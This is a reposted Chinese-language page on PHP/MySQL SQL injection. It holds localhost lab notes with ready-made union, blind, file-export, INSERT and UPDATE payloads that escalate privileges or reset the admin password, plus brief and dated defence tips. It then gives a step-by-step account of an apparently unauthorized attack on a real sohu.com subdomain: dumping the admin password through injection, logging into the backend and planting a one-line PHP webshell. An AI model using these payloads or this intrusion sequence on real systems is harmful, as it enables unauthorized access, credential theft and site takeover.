|
語(yǔ)句才能構(gòu)造出牛比的注入字符串。學(xué)完之后寫了點(diǎn)筆記,已備隨時(shí)使用。希望你在看下面內(nèi)容時(shí)先了
解SQL的基本原理。筆記中的代碼來(lái)自網(wǎng)絡(luò)。
===基礎(chǔ)部分===
本表查詢:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
Union聯(lián)合語(yǔ)句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*
導(dǎo)出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt
INSERT語(yǔ)句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
構(gòu)造homepage值為:http://4ngel.NET', '3')#
SQL語(yǔ)句變?yōu)椋篒NSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.NET', '3')#', '1');
UPDATE語(yǔ)句:我喜歡這樣個(gè)東西
先理解這句SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此SQL被修改成以下形式,就實(shí)現(xiàn)了注入
1:修改homepage值為
http://4ngel.NET', userlevel='3
之后SQL語(yǔ)句變?yōu)?
UPDATE user SET password='mypass', homepage='http://4ngel.NET', userlevel='3' WHERE id='$id'
userlevel為用戶級(jí)別
2:修改password值為
mypass)' WHERE username='admin'#
之后SQL語(yǔ)句變?yōu)?
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
3:修改id值為
' OR username='admin'
之后SQL語(yǔ)句變?yōu)?
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
===高級(jí)部分===
常用的MySQL內(nèi)置函數(shù)
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函數(shù)應(yīng)用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相當(dāng)于angel,十進(jìn)制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
確定數(shù)據(jù)結(jié)構(gòu)的字段個(gè)數(shù)及類型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)
猜數(shù)據(jù)表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members
跨表查詢得到用戶名和密碼
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
其他
#驗(yàn)證第一位密碼
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
===注入防范===
服務(wù)器方面
magic_quotes_gpc設(shè)置為On
display_errors設(shè)置為Off
編碼方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","/_",$keywords);
$keywords = str_replace("%","/%",$keywords);
數(shù)值類型
使用intval()抓換
字符串類型
SQL語(yǔ)句參數(shù)中要添加單引號(hào)
下面代碼,用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","/_",$keywords);
$keywords = str_replace("%","/%",$keywords);
}
有用的函數(shù)
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
參考文章:
http://www.4ngel.NET/article/36.htm (SQL Injection with MySQL)中文
http://www.phpe.NET/mysql_manual/06-4.html(MYSQL語(yǔ)句參考)
對(duì)sohu.com的一次安全檢測(cè)
已發(fā)表于黑客防線
發(fā)布在http://www.loveshell.NET
sohu.com是國(guó)內(nèi)一家比較大的門戶網(wǎng)站,提供了包括郵箱在內(nèi)的很多服務(wù)。這么大的一個(gè)網(wǎng)站,不出問(wèn)題是很難的,俗話說(shuō)服務(wù)越多越不安全嘛!無(wú)論是對(duì) 于服務(wù)器還是網(wǎng)站都是這個(gè)道理,最近學(xué)習(xí)Mysql注入,于是順便就對(duì)sohu.com做了一次小小的安全檢測(cè),看看它存不存在SQL注入漏洞。
看看sohu.com的主站發(fā)現(xiàn)差不多都是靜態(tài)的,于是放棄了在主站上找問(wèn)題的想法。直接在sohu.com的各個(gè)分站上瀏覽了一圈后發(fā)現(xiàn),大部分網(wǎng)站采 用的都是php腳本,也有少數(shù)用的是jsp腳本,根據(jù)經(jīng)驗(yàn)我們知道,對(duì)于php構(gòu)建的系統(tǒng),一般后臺(tái)數(shù)據(jù)庫(kù)都是Mysql,就好象ASP對(duì)應(yīng)著Mssql一樣,看來(lái)可能存在問(wèn)題的地方還是很多的。由于php的特性(php默認(rèn)將傳遞的參數(shù)中的'等字符做了轉(zhuǎn)換,所以對(duì)于字符類型的變量默認(rèn)情況下很難注 入),一般情況下我們注入的只能是數(shù)字類型的變量了。根據(jù)平時(shí)注入的知識(shí),我們知道id=XXX這樣的形式傳遞的參數(shù)一般都是數(shù)字類型的變量,所以我們只 要去測(cè)試那些php?id=XXX的連接就可能找到漏洞了!通過(guò)一番仔細(xì)的搜索,還真讓我在XXX.it.sohu.com上找到了一個(gè)存在問(wèn)題的連接http://XXX.it.sohu.com/book/serialize.php?id=86
提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=1/*
返回正常如圖1。
然后提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2/*
返回沒(méi)有信息如圖2,空空的吧,應(yīng)該是SQL語(yǔ)句結(jié)果為空了。
通過(guò)這兩個(gè)Url我們可以猜測(cè)漏洞是存在的,因?yàn)槲覀兲峤坏腶nd 1=1和and 1=2都被當(dāng)作Sql語(yǔ)句執(zhí)行啦!那么我們提交的其他語(yǔ)句也是可以執(zhí)行的,這就是Sql注入了!我們還可以知道id這個(gè)變量是被當(dāng)作數(shù)字處理的,沒(méi)有放到 ''之間,否則我們是成功不了的哦!如果變量沒(méi)有過(guò)濾Sql其他關(guān)鍵字的話,我們就很有可能成功啦!我遇到很多的情況都是變量過(guò)濾了select,在 mysql里就是死路了,好郁悶!
既然漏洞是存在的,讓我們繼續(xù)吧!首先當(dāng)然是探測(cè)數(shù)據(jù)庫(kù)的類型和連接數(shù)據(jù)庫(kù)的帳戶啦!權(quán)限高并且數(shù)據(jù)庫(kù)和web同機(jī)器的話可以免除猜測(cè)字段的痛苦啦!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and ord(mid(version(),1,1))>51/*
返回正常如圖3,這個(gè)語(yǔ)句是看數(shù)據(jù)庫(kù)的版本是不是高于3的,因?yàn)?的ASCII是51嘛!版本的第一個(gè)字符是大于51的話當(dāng)然就是4.0以上啦!4.0以 上是支持union查詢的,這樣就可以免除一位一位猜測(cè)的痛苦哦!這里結(jié)果為真,所以數(shù)據(jù)庫(kù)是4.0以上的哦,可以支持union了。
既然支持union查詢就先把這個(gè)語(yǔ)句的字段給暴出來(lái)吧!以后再用union查詢什么都是很快的哦!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 10/*
返回結(jié)果正常如圖4,看來(lái)字段是大于10個(gè)的,繼續(xù)提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 20/*
正常返回,提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 30/*
......
到order by 50的時(shí)候返回沒(méi)有信息了!看來(lái)是大于40的小于50的,于是提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 45/*
......
終于猜測(cè)到字段是41左右啦!這里說(shuō)是左右是因?yàn)橛行┳侄问遣荒芘判虻模赃€需要我們用union精確定位字段數(shù)字是41,提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
返回結(jié)果如圖5,哈哈,成功了哦!哪些字段會(huì)在頁(yè)面顯示也是一目了然了!現(xiàn)在讓我們繼續(xù)吧!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
返回結(jié)果如圖6,完成了數(shù)據(jù)庫(kù)系統(tǒng)的探測(cè)哦!我們很有可能不是root,并且數(shù)據(jù)庫(kù)服務(wù)器和web也很有可能不是在一臺(tái)服務(wù)器,這樣的話我們就沒(méi)有file權(quán)限了!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and (select count(*) from mysql.user)>0/*
返回結(jié)果如圖7,沒(méi)有對(duì)mysql的讀取權(quán)限,更加確定權(quán)限不是root了!呵呵!
既然不是root,也不要?dú)怵H,讓我們繼續(xù)吧!在進(jìn)一步猜測(cè)數(shù)據(jù)之前我們最好找下后臺(tái)先,很多時(shí)候找到了管理員密碼卻找不到地方登陸,很郁悶的說(shuō)!在根目 錄下加/admin和/manage/等等后臺(tái)常用的地址都是返回404錯(cuò)誤,猜測(cè)了幾次終于在/book/目錄下admin的時(shí)候出現(xiàn)了403 Forbiden錯(cuò)誤,哈哈,是存在這個(gè)目錄的!但是登陸頁(yè)面死活也猜不出來(lái),郁悶中!不過(guò)既然知道有個(gè)admin也好說(shuō),去Google里搜索:
admin site:sohu.com
如圖8,得到了另外一個(gè)分站的論壇,我們知道人是很懶惰的,通常一個(gè)地方的后臺(tái)的特征就很可能是整個(gè)網(wǎng)站的特征,所以當(dāng)我嘗試訪問(wèn)/book/admin /admuser.php的時(shí)候奇跡出現(xiàn)了,如圖9,哈哈,離成功更近了哦!到這里我們知道了網(wǎng)站的后臺(tái),其實(shí)我們還可以得到很重要的信息,查看原文件發(fā) 現(xiàn)登陸表單的名字是name和password,很容易推測(cè)出對(duì)方管理員表中的結(jié)構(gòu),即使不符合估計(jì)也差不多,呵呵!所以知道為什么我們要先猜測(cè)后臺(tái)了 吧!繼續(xù)注入吧!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from admin/*
返回錯(cuò)誤,說(shuō)明不存在admin這個(gè)表,嘗試admins以及admin_user等等,最后提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
的時(shí)候返回成功,哈哈!有User這個(gè)表!那么是不是管理員表呢?字段又是什么呢?繼續(xù)提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
返回空信息的錯(cuò)誤,提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
返回結(jié)果如圖10,哈哈正常返回并且出來(lái)了一個(gè)密碼,應(yīng)該是管理員表里第一個(gè)用戶的密碼!那么他的用戶名字是什么呢?猜測(cè)很多字段都是返回錯(cuò)誤,實(shí)在沒(méi)有辦法的時(shí)候輸入一個(gè)ID,居然返回成功了!ID就是管理員的名字哦!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,id,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
返回結(jié)果如圖11,哈哈,得到管理員的名字了哦!激動(dòng)地拿著管理員名字和密碼去后臺(tái)登陸成功了哦!如圖12。現(xiàn)在是想想怎么拿webshell的時(shí)候了, 在后臺(tái)發(fā)現(xiàn)有上傳圖片的地方,但是當(dāng)上傳php文件的時(shí)候提示說(shuō)不是圖片文件,郁悶了!在后臺(tái)仔細(xì)的亂七八糟的亂翻了會(huì),發(fā)現(xiàn)有個(gè)生成php文件的功能, 于是在里面插入了一句話的php后門,如圖13,點(diǎn)生成之后提示成功了,看來(lái)如果沒(méi)有過(guò)濾的話我們應(yīng)該是得到webshell了,密碼是a,用一句 話后門連上去如圖14,哈哈,成功了!腳本檢測(cè)到此圓滿完成!
在得到webshell之后我上服務(wù)器上看了看,發(fā)現(xiàn)服務(wù)器的安全是做得不錯(cuò),執(zhí)行不了命令,并且基本上所有的目錄除了我們剛才上傳的目錄之外都是不可寫 的,不過(guò)作為腳本測(cè)試,得到了webshell也就算成功了吧!也可以看出,小小的一個(gè)參數(shù)沒(méi)有過(guò)濾就可以導(dǎo)致網(wǎng)站的淪陷,特別是像sohu.com這樣 的大站,參數(shù)更多,更加要注意過(guò)濾方面的問(wèn)題哦!
php技術(shù):PHP的SQL注入過(guò)程分析,轉(zhuǎn)載需保留來(lái)源!
鄭重聲明:本文版權(quán)歸原作者所有,轉(zhuǎn)載文章僅為傳播更多信息之目的,如作者信息標(biāo)記有誤,請(qǐng)第一時(shí)間聯(lián)系我們修改或刪除,多謝。